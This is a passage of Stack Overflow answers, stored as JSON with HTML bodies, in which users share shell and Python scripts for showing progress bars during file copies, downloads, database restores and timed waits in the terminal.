file transfer operation and get progress update that looks like old-school FTP 'hash' output where you'd just get a hash mark for every X bytes.</p>\n\n<p>This is hardly production quality code, but you get the idea. I think it's cute. </p>\n\n<p>For what it's worth, the actual byte-count might not be reflected correctly in the number of hashes - you may have one more or less depending on rounding issues. Don't use this as part of a test script, it's just eye-candy. And, yes, I'm aware this is terribly inefficient - it's a shell script and I make no apologies for it. </p>\n\n<p>Examples with wget, scp and tftp provided at the end. It should work with anything that has emits data. Make sure to use /dev/stdout for programs that aren't stdout friendly.</p>\n\n<pre><code>#!/bin/sh\n#\n# Copyright (C) Nathan Ramella ([email protected]) 2010 \n# LGPLv2 license\n# If you use this, send me an email to say thanks and let me know what your product\n# is so I can tell all my friends I'm a big man on the internet!\n\nprogress_filter() {\n\n local START=$(date +\"%s\")\n local SIZE=1\n local DURATION=1\n local BLKSZ=51200\n local TMPFILE=/tmp/tmpfile\n local PROGRESS=/tmp/tftp.progress\n local BYTES_LAST_CYCLE=0\n local BYTES_THIS_CYCLE=0\n\n rm -f ${PROGRESS}\n\n dd bs=$BLKSZ of=${TMPFILE} 2&gt;&amp;1 \\\n | grep --line-buffered -E '[[:digit:]]* bytes' \\\n | awk '{ print $1 }' &gt;&gt; ${PROGRESS} &amp;\n\n # Loop while the 'dd' exists. It would be 'more better' if we\n # actually looked for the specific child ID of the running \n # process by identifying which child process it was. If someone\n # else is running dd, it will mess things up.\n\n # My PID handling is dumb, it assumes you only have one running dd on\n # the system, this should be fixed to just get the PID of the child\n # process from the shell.\n\n while [ $(pidof dd) -gt 1 ]; do\n\n # PROTIP: You can sleep partial seconds (at least on linux)\n sleep .5 \n\n # Force dd to update us on it's progress (which gets\n # redirected to $PROGRESS file.\n # \n # dumb pid handling again\n pkill -USR1 dd\n\n local BYTES_THIS_CYCLE=$(tail -1 $PROGRESS)\n local XFER_BLKS=$(((BYTES_THIS_CYCLE-BYTES_LAST_CYCLE)/BLKSZ))\n\n # Don't print anything unless we've got 1 block or more.\n # This allows for stdin/stderr interactions to occur\n # without printing a hash erroneously.\n\n # Also makes it possible for you to background 'scp',\n # but still use the /dev/stdout trick _even_ if scp\n # (inevitably) asks for a password. \n #\n # Fancy!\n\n if [ $XFER_BLKS -gt 0 ]; then\n printf \"#%0.s\" $(seq 0 $XFER_BLKS)\n BYTES_LAST_CYCLE=$BYTES_THIS_CYCLE\n fi\n done\n\n local SIZE=$(stat -c\"%s\" $TMPFILE)\n local NOW=$(date +\"%s\")\n\n if [ $NOW -eq 0 ]; then\n NOW=1\n fi\n\n local DURATION=$(($NOW-$START))\n local BYTES_PER_SECOND=$(( SIZE / DURATION ))\n local KBPS=$((SIZE/DURATION/1024))\n local MD5=$(md5sum $TMPFILE | awk '{ print $1 }')\n\n # This function prints out ugly stuff suitable for eval() \n # rather than a pretty string. This makes it a bit more \n # flexible if you have a custom format (or dare I say, locale?)\n\n printf \"\\nDURATION=%d\\nBYTES=%d\\nKBPS=%f\\nMD5=%s\\n\" \\\n $DURATION \\\n $SIZE \\\n $KBPS \\\n $MD5\n}\n</code></pre>\n\n<p>Examples:</p>\n\n<pre><code>echo \"wget\"\nwget -q -O /dev/stdout http://www.blah.com/somefile.zip | progress_filter\n\necho \"tftp\"\ntftp -l /dev/stdout -g -r something/firmware.bin 192.168.1.1 | progress_filter\n\necho \"scp\"\nscp [email protected]:~/myfile.tar /dev/stdout | progress_filter\n</code></pre>\n" }, { "answer_id": 26735825, "author": "lukassos", "author_id": 3594655, "author_profile": "https://Stackoverflow.com/users/3594655", "pm_score": 2, "selected": false, "text": "<p>for me easiest to use and best looking so far is command <code>pv</code> or <code>bar</code> like some guy already wrote</p>\n\n<p>for example: need to make a backup of entire drive with <code>dd</code></p>\n\n<p>normally you use <code>dd if=\"$input_drive_path\" of=\"$output_file_path\"</code> </p>\n\n<p>with <code>pv</code> you can make it like this : </p>\n\n<p><code>dd if=\"$input_drive_path\" | pv | dd of=\"$output_file_path\"</code> </p>\n\n<p>and the progress goes directly to <code>STDOUT</code> as this:</p>\n\n<pre><code> 7.46GB 0:33:40 [3.78MB/s] [ &lt;=&gt; ]\n</code></pre>\n\n<p>after it is done summary comes up</p>\n\n<pre><code> 15654912+0 records in\n 15654912+0 records out\n 8015314944 bytes (8.0 GB) copied, 2020.49 s, 4.0 MB/s\n</code></pre>\n" }, { "answer_id": 28044986, "author": "fearside", "author_id": 4473863, "author_profile": "https://Stackoverflow.com/users/4473863", "pm_score": 6, "selected": false, "text": "<p>Got an easy progress bar function that i wrote the other day:</p>\n\n<pre><code>#!/bin/bash\n# 1. Create ProgressBar function\n# 1.1 Input is currentState($1) and totalState($2)\nfunction ProgressBar {\n# Process data\n let _progress=(${1}*100/${2}*100)/100\n let _done=(${_progress}*4)/10\n let _left=40-$_done\n# Build progressbar string lengths\n _fill=$(printf \"%${_done}s\")\n _empty=$(printf \"%${_left}s\")\n\n# 1.2 Build progressbar strings and print the ProgressBar line\n# 1.2.1 Output example: \n# 1.2.1.1 Progress : [########################################] 100%\nprintf \"\\rProgress : [${_fill// /#}${_empty// /-}] ${_progress}%%\"\n\n}\n\n# Variables\n_start=1\n\n# This accounts as the \"totalState\" variable for the ProgressBar function\n_end=100\n\n# Proof of concept\nfor number in $(seq ${_start} ${_end})\ndo\n sleep 0.1\n ProgressBar ${number} ${_end}\ndone\nprintf '\\nFinished!\\n'\n</code></pre>\n\n<p>Or snag it from,<br/>\n<a href=\"https://github.com/fearside/ProgressBar/\" rel=\"noreferrer\">https://github.com/fearside/ProgressBar/</a></p>\n" }, { "answer_id": 29297604, "author": "auino", "author_id": 1194426, "author_profile": "https://Stackoverflow.com/users/1194426", "pm_score": 0, "selected": false, "text": "<p>In case you have to show a temporal progress bar (by knowing in advance the showing time), you can use Python as follows:</p>\n\n<pre><code>#!/bin/python\nfrom time import sleep\nimport sys\n\nif len(sys.argv) != 3:\n print \"Usage:\", sys.argv[0], \"&lt;total_time&gt;\", \"&lt;progressbar_size&gt;\"\n exit()\n\nTOTTIME=float(sys.argv[1])\nBARSIZE=float(sys.argv[2])\n\nPERCRATE=100.0/TOTTIME\nBARRATE=BARSIZE/TOTTIME\n\nfor i in range(int(TOTTIME)+1):\n sys.stdout.write('\\r')\n s = \"[%-\"+str(int(BARSIZE))+\"s] %d%% \"\n sys.stdout.write(s % ('='*int(BARRATE*i), int(PERCRATE*i)))\n sys.stdout.flush()\n SLEEPTIME = 1.0\n if i == int(TOTTIME): SLEEPTIME = 0.1\n sleep(SLEEPTIME)\nprint \"\"\n</code></pre>\n\n<p>Then, assuming you saved the Python script as <code>progressbar.py</code>, it's possible to show the progress bar from your bash script by running the following command:</p>\n\n<pre><code>python progressbar.py 10 50\n</code></pre>\n\n<p>It would show a progress bar sized <code>50</code> characters and \"running\" for <code>10</code> seconds.</p>\n" }, { "answer_id": 30454143, "author": "Sundeep471", "author_id": 1838678, "author_profile": "https://Stackoverflow.com/users/1838678", "pm_score": 2, "selected": false, "text": "<p>To indicate progress of activity, try the following commands:</p>\n\n<pre><code>while true; do sleep 0.25 &amp;&amp; echo -ne \"\\r\\\\\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r|\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r/\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r-\"; done;\n</code></pre>\n\n<p><strong>OR</strong></p>\n\n<pre><code>while true; do sleep 0.25 &amp;&amp; echo -ne \"\\rActivity: \\\\\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\rActivity: |\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\rActivity: /\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\rActivity: -\"; done;\n</code></pre>\n\n<p><strong>OR</strong></p>\n\n<pre><code>while true; do sleep 0.25 &amp;&amp; echo -ne \"\\r\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r&gt;\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r&gt;&gt;\" &amp;&amp; sleep 0.25 &amp;&amp; echo -ne \"\\r&gt;&gt;&gt;\"; sleep 0.25 &amp;&amp; echo -ne \"\\r&gt;&gt;&gt;&gt;\"; done;\n</code></pre>\n\n<p><strong>OR</strong></p>\n\n<pre><code>while true; do sleep .25 &amp;&amp; echo -ne \"\\r:Active:\" &amp;&amp; sleep .25 &amp;&amp; echo -ne \"\\r:aCtive:\" &amp;&amp; sleep .25 &amp;&amp; echo -ne \"\\r:acTive:\" &amp;&amp; sleep .25 &amp;&amp; echo -ne \"\\r:actIve:\" &amp;&amp; sleep .25 &amp;&amp; echo -ne \"\\r:actiVe:\" &amp;&amp; sleep .25 &amp;&amp; echo -ne \"\\r:activE:\"; done;\n</code></pre>\n\n<p>One can use <strong>flags/variables</strong> inside the while loop to check and display the value/extent of progress.</p>\n" }, { "answer_id": 31125424, "author": "Zarko Zivanov", "author_id": 5062839, "author_profile": "https://Stackoverflow.com/users/5062839", "pm_score": 1, "selected": false, "text": "<p>I used an answer from <a href=\"https://stackoverflow.com/questions/3211891/creating-string-of-repeated-characters-in-shell-script\">Creating string of repeated characters in shell script</a> for char repeating. I have two relatively small <strong>bash</strong> versions for scripts that need to display progress bar (for example, a loop that goes through many files, but not useful for big tar files or copy operations). The faster one consists of two functions, one to prepare the strings for bar display:</p>\n\n<pre><code>preparebar() {\n# $1 - bar length\n# $2 - bar char\n barlen=$1\n barspaces=$(printf \"%*s\" \"$1\")\n barchars=$(printf \"%*s\" \"$1\" | tr ' ' \"$2\")\n}\n</code></pre>\n\n<p>and one to display a progress bar:</p>\n\n<pre><code>progressbar() {\n# $1 - number (-1 for clearing the bar)\n# $2 - max number\n if [ $1 -eq -1 ]; then\n printf \"\\r $barspaces\\r\"\n else\n barch=$(($1*barlen/$2))\n barsp=$((barlen-barch))\n printf \"\\r[%.${barch}s%.${barsp}s]\\r\" \"$barchars\" \"$barspaces\"\n fi\n}\n</code></pre>\n\n<p>It could be used as:</p>\n\n<pre><code>preparebar 50 \"#\"\n</code></pre>\n\n<p>which means prepare strings for bar with 50 \"#\" characters, and after that:</p>\n\n<pre><code>progressbar 35 80\n</code></pre>\n\n<p>will display the number of \"#\" characters that corresponds to 35/80 ratio:</p>\n\n<pre><code>[##################### ]\n</code></pre>\n\n<p>Be aware that function displays the bar on the same line over and over until you (or some other program) prints a newline. If you put -1 as first parameter, the bar would be erased:</p>\n\n<pre><code>progressbar -1 80\n</code></pre>\n\n<p>The slower version is all in one function:</p>\n\n<pre><code>progressbar() {\n# $1 - number\n# $2 - max number\n# $3 - number of '#' characters\n if [ $1 -eq -1 ]; then\n printf \"\\r %*s\\r\" \"$3\"\n else\n i=$(($1*$3/$2))\n j=$(($3-i))\n printf \"\\r[%*s\" \"$i\" | tr ' ' '#'\n printf \"%*s]\\r\" \"$j\"\n fi\n}\n</code></pre>\n\n<p>and it can be used as (the same example as above):</p>\n\n<pre><code>progressbar 35 80 50\n</code></pre>\n\n<p>If you need progressbar on stderr, just add <code>&gt;&amp;2</code> at the end of each printf command. </p>\n" }, { "answer_id": 34708674, "author": "Juan Eduardo Castaño Nestares", "author_id": 1922181, "author_profile": "https://Stackoverflow.com/users/1922181", "pm_score": 2, "selected": false, "text": "<p>I prefer to use <em>dialog</em> with the <em>--gauge</em> param. Is used very often in .deb package installations and other basic configuration stuff of many distros. So you don't need to reinvent the wheel... again</p>\n\n<p>Just put an int value from 1 to 100 @stdin. One basic and silly example:</p>\n\n<pre><code>for a in {1..100}; do sleep .1s; echo $a| dialog --gauge \"waiting\" 7 30; done\n</code></pre>\n\n<p>I have this <em>/bin/Wait</em> file (with chmod u+x perms) for cooking purposes :P\n</p>\n\n<pre><code>#!/bin/bash\nINIT=`/bin/date +%s`\nNOW=$INIT\nFUTURE=`/bin/date -d \"$1\" +%s`\n[ $FUTURE -a $FUTURE -eq $FUTURE ] || exit\nDIFF=`echo \"$FUTURE - $INIT\"|bc -l`\n\nwhile [ $INIT -le $FUTURE -a $NOW -lt $FUTURE ]; do\n NOW=`/bin/date +%s`\n STEP=`echo \"$NOW - $INIT\"|bc -l`\n SLEFT=`echo \"$FUTURE - $NOW\"|bc -l`\n MLEFT=`echo \"scale=2;$SLEFT/60\"|bc -l`\n TEXT=\"$SLEFT seconds left ($MLEFT minutes)\";\n TITLE=\"Waiting $1: $2\"\n sleep 1s\n PTG=`echo \"scale=0;$STEP * 100 / $DIFF\"|bc -l`\n echo $PTG| dialog --title \"$TITLE\" --gauge \"$TEXT\" 7 72\ndone\n\nif [ \"$2\" == \"\" ]; then msg=\"Espera terminada: $1\";audio=\"Listo\";\nelse msg=$2;audio=$2;fi \n\n/usr/bin/notify-send --icon=stock_appointment-reminder-excl \"$msg\"\nespeak -v spanish \"$audio\"\n</code></pre>\n\n<p>So I can put:</p>\n\n<p><code>Wait \"34 min\" \"warm up the oven\"</code></p>\n\n<p>or </p>\n\n<p><code>Wait \"dec 31\" \"happy new year\"</code></p>\n" }, { "answer_id": 35314522, "author": "CH55", "author_id": 5908091, "author_profile": "https://Stackoverflow.com/users/5908091", "pm_score": 0, "selected": false, "text": "<p>I have built on the answer provided by fearside</p>\n\n<p>This connects to an Oracle database to retrieve the progress of an RMAN restore.</p>\n\n<pre><code>#!/bin/bash\n\n # 1. Create ProgressBar function\n # 1.1 Input is currentState($1) and totalState($2)\n function ProgressBar {\n # Process data\nlet _progress=(${1}*100/${2}*100)/100\nlet _done=(${_progress}*4)/10\nlet _left=40-$_done\n# Build progressbar string lengths\n_fill=$(printf \"%${_done}s\")\n_empty=$(printf \"%${_left}s\")\n\n# 1.2 Build progressbar strings and print the ProgressBar line\n# 1.2.1 Output example:\n# 1.2.1.1 Progress : [########################################] 100%\nprintf \"\\rProgress : [${_fill// /#}${_empty// /-}] ${_progress}%%\"\n\n}\n\nfunction rman_check {\nsqlplus -s / as sysdba &lt;&lt;EOF\nset heading off\nset feedback off\nselect\nround((sofar/totalwork) * 100,0) pct_done\nfrom\nv\\$session_longops\nwhere\ntotalwork &gt; sofar\nAND\nopname NOT LIKE '%aggregate%'\nAND\nopname like 'RMAN%';\nexit\nEOF\n}\n\n# Variables\n_start=1\n\n# This accounts as the \"totalState\" variable for the ProgressBar function\n_end=100\n\n_rman_progress=$(rman_check)\n#echo ${_rman_progress}\n\n# Proof of concept\n#for number in $(seq ${_start} ${_end})\n\nwhile [ ${_rman_progress} -lt 100 ]\ndo\n\nfor number in _rman_progress\ndo\nsleep 10\nProgressBar ${number} ${_end}\ndone\n\n_rman_progress=$(rman_check)\n\ndone\nprintf '\\nFinished!\\n'\n</code></pre>\n" }, { "answer_id": 36493802, "author": "casper.dcl", "author_id": 3896283, "author_profile": "https://Stackoverflow.com/users/3896283", "pm_score": 2, "selected": false, "text": "<p>Many answers describe writing your own commands for printing out <code>'\\r' + $some_sort_of_progress_msg</code>. The problem sometimes is that printing out hundreds of these updates per second will slow down the process.</p>\n\n<p>However, if any of your processes produce output (eg <code>7z a -r newZipFile myFolder</code> will output each filename as it compresses it) then a simpler, fast, painless and customisable solution exists.</p>\n\n<p>Install the python module <code>tqdm</code>.</p>\n\n<pre><code>$ sudo pip install tqdm\n$ # now have fun\n$ 7z a -r -bd newZipFile myFolder | tqdm &gt;&gt; /dev/null\n$ # if we know the expected total, we can have a bar!\n$ 7z a -r -bd newZipFile myFolder | grep -o Compressing | tqdm --total $(find myFolder -type f | wc -l) &gt;&gt; /dev/null\n</code></pre>\n\n<p>Help: <code>tqdm -h</code>. An example using more options:</p>\n\n<pre><code>$ find / -name '*.py' -exec cat \\{} \\; | tqdm --unit loc --unit_scale True | wc -l\n</code></pre>\n\n<p>As a bonus you can also use <code>tqdm</code> to wrap iterables in python code.</p>\n\n<p><a href=\"https://github.com/tqdm/tqdm/blob/master/README.rst#module\" rel=\"nofollow\">https://github.com/tqdm/tqdm/blob/master/README.rst#module</a></p>\n" }, { "answer_id": 37285172, "author": "nexace", "author_id": 5728799, "author_profile": "https://Stackoverflow.com/users/5728799", "pm_score": -1, "selected": false, "text": "<p>This is a psychedelic progressbar for bash scripting by nExace. It can be called from command line as './progressbar x y' where 'x' is a time in seconds and 'y' is a message associated with that portion of the progress.</p>\n\n<p>The inner progressbar() function itself is good standalone as well if you want other portions of your script to control the progressbar. For instance, sending 'progressbar 10 \"Creating directory tree\";' will display: </p>\n\n<pre><code>[####### ] (10%) Creating directory tree\n</code></pre>\n\n<p>Of course it will be nicely psychedelic though...</p>\n\n<pre><code>#!/bin/bash\n\nif [ \"$#\" -eq 0 ]; then echo \"x is \\\"time in seconds\\\" and z is \\\"message\\\"\"; echo \"Usage: progressbar x z\"; exit; fi\nprogressbar() {\n local loca=$1; local loca2=$2;\n declare -a bgcolors; declare -a fgcolors;\n for i in {40..46} {100..106}; do\n bgcolors+=(\"$i\")\n done\n for i in {30..36} {90..96}; do\n fgcolors+=(\"$i\")\n done\n local u=$(( 50 - loca ));\n local y; local t;\n local z; z=$(printf '%*s' \"$u\");\n local w=$(( loca * 2 ));\n local bouncer=\".oO°Oo.\";\n for ((i=0;i&lt;loca;i++)); do\n t=\"${bouncer:((i%${#bouncer})):1}\"\n bgcolor=\"\\\\E[${bgcolors[RANDOM % 14]}m \\\\033[m\"\n y+=\"$bgcolor\";\n done\n fgcolor=\"\\\\E[${fgcolors[RANDOM % 14]}m\"\n echo -ne \" $fgcolor$t$y$z$fgcolor$t \\\\E[96m(\\\\E[36m$w%\\\\E[96m)\\\\E[92m $fgcolor$loca2\\\\033[m\\r\"\n};\ntimeprogress() {\n local loca=\"$1\"; local loca2=\"$2\";\n loca=$(bc -l &lt;&lt;&lt; scale=2\\;\"$loca/50\")\n for i in {1..50}; do\n progressbar \"$i\" \"$loca2\";\n sleep \"$loca\";\n done\n printf \"\\n\"\n};\ntimeprogress \"$1\" \"$2\"\n</code></pre>\n" }, { "answer_id": 37787262, "author": "purushothaman poovai", "author_id": 5201274, "author_profile": "https://Stackoverflow.com/users/5201274", "pm_score": -1, "selected": false, "text": "<p>First execute the process to the background, then watch it's running status frequently,that was running print the pattern and again check it status was running or not;</p>\n\n<p>Using while loop to watch the status of the process frequently.</p>\n\n<p>use the pgrep or any other command to watch and getting running status of a process.</p>\n\n<p>if using pgrep redirect the unnecessary output to /dev/null as needed.</p>\n\n<p><strong>Code:</strong></p>\n\n<pre><code>sleep 12&amp;\nwhile pgrep sleep &amp;&gt; /dev/null;do echo -en \"#\";sleep 0.5;done\n</code></pre>\n\n<p>This \"#\" will printed until sleep terminate,this method used to implement the progress bar for progress time of program.</p>\n\n<p>you can also use this method to the commands to shell scripts for analyze it process time as visual.</p>\n\n<p><strong>BUG:</strong>\n this pgrep method doesn't works in all situations,unexpectedly the another process was running with same name, the while loop does not end.</p>\n\n<p>so getting the process running status by specify it's PID, using\nmay the process can available with some commands, </p>\n\n<p>the command <strong><em>ps a</em></strong> will list all the process with id,you need <em>grep</em> to find-out the pid of the specified process</p>\n" }, { "answer_id": 38276931, "author": "pbatey", "author_id": 2683294, "author_profile": "https://Stackoverflow.com/users/2683294", "pm_score": -1, "selected": false, "text": "<p>I wanted to track progress based on the number of lines a command output against a target number of lines from a previous run:</p>\n\n<pre><code>#!/bin/bash\nfunction lines {\n local file=$1\n local default=$2\n if [[ -f $file ]]; then\n wc -l $file | awk '{print $1}';\n else\n echo $default\n fi\n}\n\nfunction bar {\n local items=$1\n local total=$2\n local size=$3\n percent=$(($items*$size/$total % $size))\n left=$(($size-$percent))\n chars=$(local s=$(printf \"%${percent}s\"); echo \"${s// /=}\")\n echo -ne \"[$chars&gt;\";\n printf \"%${left}s\"\n echo -ne ']\\r'\n}\n\nfunction clearbar {\n local size=$1\n printf \" %${size}s \"\n echo -ne \"\\r\"\n}\n\nfunction progress {\n local pid=$1\n local total=$2\n local file=$3\n\n bar 0 100 50\n while [[ \"$(ps a | awk '{print $1}' | grep $pid)\" ]]; do\n bar $(lines $file 0) $total 50\n sleep 1\n done\n clearbar 50\n wait $pid\n return $?\n}\n</code></pre>\n\n<p>Then use it like this:</p>\n\n<pre><code>target=$(lines build.log 1000)\n(mvn clean install &gt; build.log 2&gt;&amp;1) &amp;\nprogress $! $target build.log\n</code></pre>\n\n<p>It outputs a progress bar that looks something like this:</p>\n\n<pre><code>[===============================================&gt; ]\n</code></pre>\n\n<p>The bar grows as the number of lines output reaches the target. If the number of lines exceeds the target, the bar starts over (hopefully the target is good).</p>\n\n<p>BTW: I'm using bash on Mac OSX. I based this code on a spinner from <a href=\"https://github.com/marascio/bash-tips-and-tricks/tree/master/showing-progress-with-a-bash-spinner\" rel=\"nofollow\">mariascio</a>.</p>\n" }, { "answer_id": 39898465, "author": "Édouard Lopez", "author_id": 802365, "author_profile": "https://Stackoverflow.com/users/802365", "pm_score": 6, "selected": false, "text": "<p>I was looking for something more sexy than the selected answer, so did my own script.</p>\n\n<h3>Preview</h3>\n\n<p><a href=\"https://i.stack.imgur.com/ghAUC.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ghAUC.gif\" alt=\"progress-bar.sh in action\"></a></p>\n\n<h3>Source</h3>\n\n<p>I put it on <a href=\"https://github.com/edouard-lopez/progress-bar.sh\" rel=\"noreferrer\">github <code>progress-bar.sh</code></a></p>\n\n<pre><code>progress-bar() {\n local duration=${1}\n\n\n already_done() { for ((done=0; done&lt;$elapsed; done++)); do printf \"▇\"; done }\n remaining() { for ((remain=$elapsed; remain&lt;$duration; remain++)); do printf \" \"; done }\n percentage() { printf \"| %s%%\" $(( (($elapsed)*100)/($duration)*100/100 )); }\n clean_line() { printf \"\\r\"; }\n\n for (( elapsed=1; elapsed&lt;=$duration; elapsed++ )); do\n already_done; remaining; percentage\n sleep 1\n clean_line\n done\n clean_line\n}\n</code></pre>\n\n<h3>Usage</h3>\n\n<pre><code> progress-bar 100\n</code></pre>\n" }, { "answer_id": 40901103, "author": "cprn", "author_id": 1347707, "author_profile": "https://Stackoverflow.com/users/1347707", "pm_score": 5, "selected": false, "text": "<p>Haven't seen anything similar and all custom functions here seem to focus on rendering alone so... my very simple POSIX compliant solution below with step by step explanations because this question isn't trivial.</p>\n<h2>TL;DR</h2>\n<p>Rendering the progress bar is very easy. Estimating how much of it should render is a different matter. This is how to render (animate) the progress bar - you can copy&amp;paste this example to a file and run it:</p>\n<pre><code>#!/bin/sh\n\nBAR='####################' # this is full bar, e.g. 20 chars\n\nfor i in {1..20}; do\n echo -ne &quot;\\r${BAR:0:$i}&quot; # print $i chars of $BAR from 0 position\n sleep .1 # wait 100ms between &quot;frames&quot;\ndone\n</code></pre>\n<ul>\n<li><code>{1..20}</code> - values from 1 to 20</li>\n<li><code>echo</code> - print to terminal (i.e. to <code>stdout</code>)</li>\n<li><code>echo -n</code> - print without new line at the end</li>\n<li><code>echo -e</code> - interpret special characters while printing</li>\n<li><code>&quot;\\r&quot;</code> - carriage return, a special char to return to the beginning of the line</li>\n</ul>\n<p>You can make it render any content at any speed so this method is very universal, e.g. often used for visualization of &quot;hacking&quot; in silly movies, no kidding.</p>\n<h2>Full answer (from zero to working example)</h2>\n<p>The meat of the problem is how to determine the <code>$i</code> value, i.e. how much of the progress bar to display. In the above example I just let it increment in <code>for</code> loop to illustrate the principle but a real life application would use an infinite loop and calculate the <code>$i</code> variable on each iteration. To make said calculation it needs the following ingredients:</p>\n<ol>\n<li>how much work there is to be done</li>\n<li>how much work has been done so far</li>\n</ol>\n<p>In case of <code>cp</code> it needs the size of a source file and the size of the target file:</p>\n<pre><code>#!/bin/sh\n\nsrc=&quot;/path/to/source/file&quot;\ntgt=&quot;/path/to/target/file&quot;\n\ncp &quot;$src&quot; &quot;$tgt&quot; &amp; # the &amp; forks the `cp` process so the rest\n # of the code runs without waiting (async)\n\nBAR='####################'\n\nsrc_size=$(stat -c%s &quot;$src&quot;) # how much there is to do\n\nwhile true; do\n tgt_size=$(stat -c%s &quot;$tgt&quot;) # how much has been done so far\n i=$(( $tgt_size * 20 / $src_size ))\n echo -ne &quot;\\r${BAR:0:$i}&quot;\n if [ $tgt_size == $src_size ]; then\n echo &quot;&quot; # add a new line at the end\n break; # break the loop\n fi\n sleep .1\ndone\n</code></pre>\n<ul>\n<li><code>foo=$(bar)</code> - run <code>bar</code> in a subprocess and save its <code>stdout</code> to <code>$foo</code></li>\n<li><code>stat</code> - print file stats to <code>stdout</code></li>\n<li><code>stat -c</code> - print a formatted value</li>\n<li><code>%s</code> - format for total size</li>\n</ul>\n<p>In case of operations like file unpacking, calculating the source size is slightly more difficult but still as easy as getting the size of an uncompressed file:</p>\n<pre><code>#!/bin/sh\nsrc_size=$(gzip -l &quot;$src&quot; | tail -n1 | tr -s ' ' | cut -d' ' -f3)\n</code></pre>\n<ul>\n<li><code>gzip -l</code> - print info about zip archive</li>\n<li><code>tail -n1</code> - work with 1 line from the bottom</li>\n<li><code>tr -s ' '</code> - translate multiple spaces into one (&quot;squeeze&quot; them)</li>\n<li><code>cut -d' ' -f3</code> - cut 3rd space-delimited field (column)</li>\n</ul>\n<p>Here's the meat of the problem I mentioned before. This solution is less and less general. All calculations of the actual progress are tightly bound to the domain you're trying to visualize, is it a single file operation, a timer countdown, a rising number of files in a directory, operation on multiple files, etc., therefore, it can't be reused. The only reusable part is progress bar rendering. To reuse it you need to abstract it and save in a file (e.g. <code>/usr/lib/progress_bar.sh</code>), then define functions that calculate input values specific to your domain. This is how a generalized code could look like (I also made the <code>$BAR</code> dynamic because people were asking for it, the rest should be clear by now):</p>\n<pre><code>#!/bin/bash\n\nBAR_length=50\nBAR_character='#'\nBAR=$(printf %${BAR_length}s | tr ' ' $BAR_character)\n\nwork_todo=$(get_work_todo) # how much there is to do\n\nwhile true; do\n work_done=$(get_work_done) # how much has been done so far\n i=$(( $work_done * $BAR_length / $work_todo ))\n echo -ne &quot;\\r${BAR:0:$i}&quot;\n if [ $work_done == $work_todo ]; then\n echo &quot;&quot;\n break;\n fi\n sleep .1\ndone\n</code></pre>\n<ul>\n<li><code>printf</code> - a builtin for printing stuff in a given format</li>\n<li><code>printf %50s</code> - print nothing but pad it with 50 spaces</li>\n<li><code>tr ' ' '#'</code> - translate every space to hash sign</li>\n</ul>\n<p>And this is how you'd use it:</p>\n<pre><code>#!/bin/bash\n\nsrc=&quot;/path/to/source/file&quot;\ntgt=&quot;/path/to/target/file&quot;\n\nfunction get_work_todo() {\n echo $(stat -c%s &quot;$src&quot;)\n}\n\nfunction get_work_done() {\n [ -e &quot;$tgt&quot; ] &amp;&amp; # if target file exists\n echo $(stat -c%s &quot;$tgt&quot;) || # echo its size, else\n echo 0 # echo zero\n}\n\ncp &quot;$src&quot; &quot;$tgt&quot; &amp; # copy in the background\n\nsource /usr/lib/progress_bar.sh # execute the progress bar\n</code></pre>\n<p>Obviously you can wrap this in a function, rewrite to work with piped streams, grab forked process ID with <code>$!</code> and pass it to <code>progress_bar.sh</code> so it could <em>guess</em> how to calculate work to do and work done, whatever's your poison.</p>\n<h2>Side notes</h2>\n<p>I get asked about these two things most often:</p>\n<ol>\n<li><code>${}</code>: in above examples I use <code>${foo:A:B}</code>. The technical term for this syntax is <em>Parameter Expansion</em>, a built-in shell functionality that allows to manipulate a variable (parameter), e.g. to trim a string with <code>:</code> but also to do other things - it does not spawn a subshell. The most prominent description of parameter expansion I can think of (that isn't fully POSIX compatible but lets the reader understand the concept well) is in the <code>man bash</code> page.</li>\n<li><code>$()</code>: in above examples I use <code>foo=$(bar)</code>. It spawns a separate shell in a subprocess (a.k.a. a <em>Subshell</em>), runs the <code>bar</code> command in it and assigns its standard output to a <code>$foo</code> variable. It's not the same as <em>Process Substitution</em> and it's something entirely different than <em>pipe</em> (<code>|</code>). Most importantly, it works. Some say this should be avoided because it's slow. I argue this is &quot;a okay&quot; here because whatever this code is trying to visualise lasts long enough to require a progress bar. In other words, subshells are not the bottleneck. Calling a subshell also saves me the effort of explaining why <code>return</code> isn't what most people think it is, what is an <em>Exit Status</em> and why passing values from functions in shells is not what shell functions are good at in general. To find out more about all of it I, again, highly recommend the <code>man bash</code> page.</li>\n</ol>\n<h2>Troubleshooting</h2>\n<p>If your shell is actually running sh instead of bash, or really old bash, like default osx, it may choke on <code>echo -ne &quot;\\r${BAR:0:$i}&quot;</code>. The exact error is <code>Bad substitution</code>. If this happens to you, per the comment section, you can instead use <code>echo -ne &quot;\\r$(expr &quot;x$name&quot; : &quot;x.\\{0,$num_skip\\}\\(.\\{0,$num_keep\\}\\)&quot;)&quot;</code> to do a more portable posix-compatible / less readable substring match.</p>\n<p>A complete, working /bin/sh example:</p>\n<pre><code>#!/bin/sh\n\nsrc=100\ntgt=0\n\nget_work_todo() {\n echo $src\n}\n\ndo_work() {\n echo &quot;$(( $1 + 1 ))&quot;\n}\n\nBAR_length=50\nBAR_character='#'\nBAR=$(printf %${BAR_length}s | tr ' ' $BAR_character)\nwork_todo=$(get_work_todo) # how much there is to do\nwork_done=0\nwhile true; do\n work_done=&quot;$(do_work $work_done)&quot;\n i=$(( $work_done * $BAR_length / $work_todo ))\n n=$(( $BAR_length - $i ))\n printf &quot;\\r$(expr &quot;x$BAR&quot; : &quot;x.\\{0,$n\\}\\(.\\{0,$i\\}\\)&quot;)&quot;\n if [ $work_done = $work_todo ]; then\n echo &quot;\\n&quot;\n break;\n fi\n sleep .1\ndone\n</code></pre>\n" }, { "answer_id": 43692366, "author": "Adriano_Pinaffo", "author_id": 6201770, "author_profile": "https://Stackoverflow.com/users/6201770", "pm_score": 2, "selected": false, "text": "<p>Based on the work of Edouard Lopez, I created a progress bar that fits the size of the screen, whatever it is. Check it out.</p>\n\n<p><a href=\"https://i.stack.imgur.com/fU6nR.gif\" rel=\"nofollow 